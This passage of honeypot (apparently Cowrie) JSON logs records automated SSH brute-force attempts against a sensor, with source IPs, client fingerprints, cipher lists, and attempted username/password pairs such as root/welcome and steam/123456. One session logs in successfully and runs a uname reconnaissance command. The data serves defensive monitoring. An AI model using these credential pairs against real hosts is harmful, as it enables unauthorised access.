","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:09.734998Z","src_ip":"165.154.137.186","session":"59cb06ee9ad0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:10.523655Z","src_ip":"165.154.137.186","session":"59cb06ee9ad0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:11.086438Z","src_ip":"165.154.137.186","session":"59cb06ee9ad0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:11.089063Z","src_ip":"165.154.137.186","session":"59cb06ee9ad0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:11.398843Z","src_ip":"165.154.137.186","session":"59cb06ee9ad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:11.403130Z","src_ip":"165.154.137.186","session":"59cb06ee9ad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":32980,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce9962254dd9","protocol":"ssh","message":"New connection: 2.57.122.209:32980 (10.17.0.5:22) [session: ce9962254dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:13.987975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:14.375436Z","src_ip":"2.57.122.209","session":"ce9962254dd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:14.378423Z","src_ip":"2.57.122.209","session":"ce9962254dd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome","message":"login attempt [root/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:16.946244Z","src_ip":"2.57.122.209","session":"ce9962254dd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":47434,"dst_ip":"10.17.0.5","dst_port":22,"session":"64b873176e6b","protocol":"ssh","message":"New connection: 165.154.137.186:47434 (10.17.0.5:22) [session: 64b873176e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:17.122160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:17.128340Z","src_ip":"165.154.137.186","session":"64b873176e6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:17.404135Z","src_ip":"165.154.137.186","session":"64b873176e6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:18.337715Z","src_ip":"165.154.137.186","session":"64b873176e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:18.462875Z","src_ip":"2.57.122.209","session":"ce9962254dd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:19.616577Z","src_ip":"165.154.137.186","session":"64b873176e6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48038,"dst_ip":"10.17.0.5","dst_port":22,"session":"c38ee7d34119","protocol":"ssh","message":"New connection: 165.154.137.186:48038 (10.17.0.5:22) [session: c38ee7d34119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:24.498661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:24.503712Z","src_ip":"165.154.137.186","session":"c38ee7d34119","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:24.893875Z","src_ip":"165.154.137.186","session":"c38ee7d34119","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:25.716469Z","src_ip":"165.154.137.186","session":"c38ee7d34119","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:26.983170Z","src_ip":"165.154.137.186","session":"c38ee7d34119","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48054,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0ab2ea6bec9","protocol":"ssh","message":"New connection: 165.154.137.186:48054 (10.17.0.5:22) [session: a0ab2ea6bec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:28.446530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:28.449969Z","src_ip":"165.154.137.186","session":"a0ab2ea6bec9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:28.712705Z","src_ip":"165.154.137.186","session":"a0ab2ea6bec9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:29.504846Z","src_ip":"165.154.137.186","session":"a0ab2ea6bec9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":33384,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba4baa5fa03d","protocol":"ssh","message":"New connection: 8.210.75.243:33384 (10.17.0.5:22) [session: ba4baa5fa03d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:30.294490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:30.311263Z","src_ip":"8.210.75.243","session":"ba4baa5fa03d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:30.770270Z","src_ip":"165.154.137.186","session":"a0ab2ea6bec9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48826,"dst_ip":"10.17.0.5","dst_port":22,"session":"30653051ac20","protocol":"ssh","message":"New connection: 165.154.137.186:48826 (10.17.0.5:22) [session: 30653051ac20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:32.195184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:32.201961Z","src_ip":"165.154.137.186","session":"30653051ac20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:32.469856Z","src_ip":"165.154.137.186","session":"30653051ac20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:33.274343Z","src_ip":"165.154.137.186","session":"30653051ac20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55016,"dst_ip":"159.203.135.109","dst_port":23,"session":"b02174b67a2b","protocol":"telnet","message":"New connection: 170.64.224.25:55016 (159.203.135.109:23) [session: b02174b67a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:33.938580Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:34.544496Z","src_ip":"165.154.137.186","session":"30653051ac20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:35.333032Z","src_ip":"8.210.75.243","session":"ba4baa5fa03d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48032,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e69b7f30e0a","protocol":"ssh","message":"New connection: 165.154.137.186:48032 (10.17.0.5:22) [session: 9e69b7f30e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:36.320373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:36.323735Z","src_ip":"165.154.137.186","session":"9e69b7f30e0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:36.591570Z","src_ip":"165.154.137.186","session":"9e69b7f30e0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:37.463947Z","src_ip":"165.154.137.186","session":"9e69b7f30e0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:38.736825Z","src_ip":"165.154.137.186","session":"9e69b7f30e0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":56220,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ad04856fbf4","protocol":"ssh","message":"New connection: 159.65.58.200:56220 (159.203.135.109:22) [session: 4ad04856fbf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:44.898214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:45.107289Z","src_ip":"159.65.58.200","session":"4ad04856fbf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:45.109666Z","src_ip":"159.65.58.200","session":"4ad04856fbf4","protocol":"ssh"}
